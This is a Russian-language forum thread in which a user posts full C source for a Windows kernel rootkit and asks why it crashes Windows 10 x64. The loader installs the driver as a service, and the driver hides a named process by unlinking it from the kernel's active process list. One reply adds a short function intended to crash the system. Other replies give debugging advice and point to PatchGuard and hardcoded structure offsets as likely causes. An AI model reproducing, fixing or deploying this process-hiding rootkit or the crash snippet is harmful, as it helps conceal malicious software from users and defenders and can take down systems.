Доброго времени суток форумчанам! Компилирую код: Code (C): #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <string.h> #define SERVICE "Rootkit" #define DEVICE "\\\\.\\Rootkit" #define DRIVER "c:\\\\Windows\\Rootkit.sys" // IRP rootkit() #define IRP_CODE_HIDE 0x815 int main(int argc, char *args[]) { printf("Usage : loader.exe <process name>"); if (argc != 2) { return 0; } SC_HANDLE hSCManager; SC_HANDLE hService; HANDLE hDevice; BOOLEAN b; ULONG r; if ((hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)) == NULL) return GetLastError(); if ((hService = OpenService(hSCManager, TEXT(SERVICE), SERVICE_ALL_ACCESS)) == NULL) { DWORD error = GetLastError(); if (error = ERROR_SERVICE_DOES_NOT_EXIST) { if ((hService = CreateService( hSCManager, TEXT(SERVICE), TEXT(SERVICE), SC_MANAGER_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, TEXT(DRIVER), NULL, NULL, NULL, NULL, NULL)) == NULL) return GetLastError(); if (StartService(hService, 0, NULL) == FALSE) return GetLastError(); } else { return error; } } // open Device if ((hDevice = CreateFile( TEXT(DEVICE), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) return GetLastError(); char* inputBuffer = args[1]; printf(" rootkit( %s )", inputBuffer); b = DeviceIoControl( hDevice, IRP_CODE_HIDE, inputBuffer, (DWORD) strlen(inputBuffer) + 1, NULL, 0, &r, NULL ); if (!b) return GetLastError(); CloseHandle(hDevice); CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return 0; } Code (C): #include <stdio.h> #include <stdlib.h> #include <ntddk.h> #include <winapifamily.h> #include "header.h" UNICODE_STRING ntRootkit; UNICODE_STRING dosRootkit; DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH IRP_create_close; DRIVER_DISPATCH IRP_control; VOID rookit(char *proc); NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : DriverEntry\n")); NTSTATUS status; PDEVICE_OBJECT pdeviceObject = NULL; RtlInitUnicodeString(&ntRootkit, NT_DEVICE_NAME); RtlInitUnicodeString(&dosRootkit, DOS_DEVICE_NAME); status = IoCreateDevice( pDriverObject, 0, &ntRootkit, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pdeviceObject); if (!NT_SUCCESS(status)) { return status; } pDriverObject->MajorFunction[IRP_MJ_CREATE] = IRP_create_close; pDriverObject->MajorFunction[IRP_MJ_CLOSE] = IRP_create_close; pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IRP_control; pDriverObject->DriverUnload = DriverUnload; status = IoCreateSymbolicLink(&dosRootkit, &ntRootkit); if (!NT_SUCCESS(status)) { IoDeleteDevice(pdeviceObject); return status; } KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : ALL RIGHT (^o^)!!!!\n")); return status; } VOID DriverUnload(PDRIVER_OBJECT pDriverObject) { UNREFERENCED_PARAMETER(pDriverObject); IoDeleteSymbolicLink(&dosRootkit); IoDeleteDevice(pDriverObject->DeviceObject); KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] rootkit : DriverUnload\n")); } NTSTATUS IRP_create_close(PDEVICE_OBJECT pdeviceObject, PIRP irp) { UNREFERENCED_PARAMETER(pdeviceObject); NTSTATUS status = STATUS_SUCCESS; irp->IoStatus.Status = STATUS_SUCCESS; irp->IoStatus.Information = 0; return status; } NTSTATUS IRP_control(PDEVICE_OBJECT pdeviceObject, PIRP irp) { UNREFERENCED_PARAMETER(pdeviceObject); NTSTATUS status = STATUS_SUCCESS; PIO_STACK_LOCATION irpSp; ULONG inBufLength, outBufLength, code; PCHAR inBuf; irpSp = IoGetCurrentIrpStackLocation(irp); inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; code = irpSp->Parameters.DeviceIoControl.IoControlCode; switch (code) { case IRP_CODE_HIDE: inBuf = irp->AssociatedIrp.SystemBuffer; irp->IoStatus.Information = strlen(inBuf); KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] incoming IRP : %s", inBuf)); // call rootkit() rookit(inBuf); break; default: status = STATUS_INVALID_DEVICE_REQUEST; KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[-] Error : STATUS_INVALID_DEVICE_REQUEST\n")); break; } return status; } VOID rookit(char *proc) { PEPROCESS cEProcess = (PEPROCESS)PsGetCurrentProcess(), origEProcess = cEProcess; PLIST_ENTRY cActiveProcessLinks; PUCHAR cImageFileName; PUINT32 cPid; do { cImageFileName = (PUCHAR)((DWORD64)cEProcess + ImageFileName); cPid = (PUINT32)((DWORD64)cEProcess + UniqueProcessId); cActiveProcessLinks = (PLIST_ENTRY)((DWORD64)cEProcess + ActiveProcessLinks); cEProcess = (PEPROCESS)((DWORD64)cActiveProcessLinks->Flink - ActiveProcessLinks); if (!strcmp((const char*)cImageFileName, TEXT(proc))) { // DKOM Eprocess Routine *((PDWORD64)cActiveProcessLinks->Blink) = (DWORD64)cActiveProcessLinks->Flink; *((PDWORD64)(cActiveProcessLinks->Flink) + 1) = (DWORD64)cActiveProcessLinks->Blink; // Loop on process hidden (avoiding BSOD) cActiveProcessLinks->Blink = (PLIST_ENTRY)&cActiveProcessLinks->Flink; cActiveProcessLinks->Flink = (PLIST_ENTRY)&cActiveProcessLinks->Flink; KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[+] %s say goodbye :)\n", proc)); } } while ((DWORD64)origEProcess != (DWORD64)cEProcess); } header: Code (Text): #define UniqueProcessId 0x2e8 // pid #define ActiveProcessLinks 0x2f0 // _list_entry [Flink, Blink] #define ImageFileName 0x450 // file name // IOCTL config #define SIOCTL_TYPE 40000 #define IRP_CODE_HIDE 0x900 // rootkit() #define IOCTL_SIOCTL_METHOD_BUFFERED CTL_CODE(SIOCTL_TYPE, IRP_CODE_HIDE, METHOD_BUFFERED, FILE_ANY_ACCESS) // ALIAS #define NT_DEVICE_NAME L"\\Device\\rootkitdkom" #define DOS_DEVICE_NAME L"\\DosDevices\\rootkitdkom" в драйвере возникает bsod, система падает. windows 10 64. Почему такое происходит?
Еще раз без комментов, уже было, шадов - жуть вот Бсод и БСОД Code (Text): static void KillWindows() { HDC dc = CreateCompatibleDC (NULL); SetLayout (dc, LAYOUT_RTL); ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL); }
я не разобрался еще как использовать дампы и отлаживать драйвер. я думал что код прост и на wasm смогут указать на ошибку.
oooimj, Тоесть вы решили собрать драйвер, который конечно же при первой сборке вывалится в синь и решили что тут будут разбирать ваш сурец. Да даже на своём коде не ищется ошибка, а сразу смотрится причина и место исключения. Не следует вам собирать драйвера, у вас не достаточный уровень знаний для этого.
Берёте аварийный дамп, устанавливает ДебаггингТулзФорВиндовс, оттуда запускаете ВинДэБэГэ, и открывете файл дампа, ещё нужно загрузить символы, потом команду, который выше Вам дали. Также, в исходник можно поставить точку останова и отладчик прервется на ней, а с неё уже можно пошагово трассировать. https://habrahabr.ru/post/130213/ https://briolidz.wordpress.com/2012/03/28/windows-driver-debugging-with-windbg-and-vmware/ https://www.google.ru/search?q=debu...dDZAhWGECwKHYLUDMYQ_AUICygC&biw=1024&bih=646# Линки Вам помогут. https://www.google.ru/search?q=debu...VGWSwKHVtPCcUQ_AUICSgA&biw=1024&bih=646&dpr=1
yashechka, Вы наверно не понимаете. Человек собрал автоматикой драйвер, даже не свой просто попробовал собрать его и запустить. Оно конечно же упало. Он не знает матчасть, даже отладчик, ничего. Даже как открыть крэшдамп или что такое статусный код, который отобразился при падении. Вы ему советуете способы трассировки ядра. Очень уместная рекомендация
ТС уже это понял. Давайте ему хелп дадим, не могу найти, были здесь статьи про написание простейшего др-ра by Mikl. Спасибо.
Иногда просче разбираться в чем то рабочем, а не в хеловордах через dbgprint, вот человек и просит ответ на простой вопрос) Вообще я не понимаю, что вы упрямитесь, а потом говорите, что у васма плохая репа На первый взгляд.. Вы как я понимаю подписали тестовой подписью дров и загрузили. Но KPP в Win10 x64 защищает эту структуру, вот вы и падаете. ЗЫ Дровину не запускал - под рукой нет ВМ, может кто с форума отладит, дело 5 минут, может Инде даже
Fail, > Вообще я не понимаю, что вы упрямитесь, а потом говорите, что у васма плохая репа Потому что помощь оказать в данном случае невозможно, это для тс новая область знаний, на которую нужно очень много времени: изучать архитектуру(wi-internals, железячную, общие алгоритмы и прочие вещи). Разбор причины падения смысла не имеет. Даже если бы это было действительно нужно, то пришлось бы включать варю. Запуск кернел отладчика не является чем то интересным, его лучше лишний раз не трогать, это стрёмный инструмент.)
Для ТС опасная функа VOID rookit(char *proc). Ты там берешь епроцесс и используются оффсеты для вытаскивания имен. Откуда оффсеты? Те корректны ли они для твоей системы. Норм решение - это простепать в виндбг. Поставь дебагбреаг в этой функи и стртани свой апп, чтобы он дернул через команду. Хотя проще на драйвеэнтри вызов этой функи и просто загрузи дров. там брякнеться. достепаешь на работу с епроцесс там выведи через ntdll!_EPROCESS структуру и сверь оффсеты. Либо возьми ядро с целевой ОС, загрузи иду и там в списках структур сверь офссеты просто. Но надо настроить подгрузку пдб с мс серверов. В сети инфы более чем.
superakira, Использовать хардкод(колхозить смещения структур) это очень плохой способ реализации. Тем более если тс понятия не имеет про эти структуры, это интернал ядерные обьекты, а не просто структуры в компилере, нужно понимать как это работает, иначе удачи не будет. Отладчик нужен для решения проблем, которые не резолвятся теоретически. Как следствие их можно и нужно избегать без использования отладчика.
Indy_, отладчик нужен для новичка чтобы как миинимум потрогать все в живую) ну да, оффсеты плохо, но тс то не про это спросил)
Человек просит всего лишь ткнуть пальцем Ё-маё Это все равно что в автошколе предлагать еще и сопромат учить, а чё, надож знать из какой стали состоит двигатель, какое там процентное соотношение углерода и проч. Ахах Инде, это ребячество)) Согласен, давайте еще ТС заставим парсер структуры напичать, норм)))) Я тож сначала про них подумал, но они верные. Во всяком случае для актуальной версии ядра W10X64. Яб отладил, но ща на машине ничего нет.
Fail, > Ахах Инде, это ребячество)) У меня на это ушло овер 10 лет, так что я не согласен. У меня тоже есть мнение.
Fail, это детали) но thnx lkd? Бррр) Завтра может гляну, если будет время. 10_64 - это понятие растяжимое. Нужен номер билда.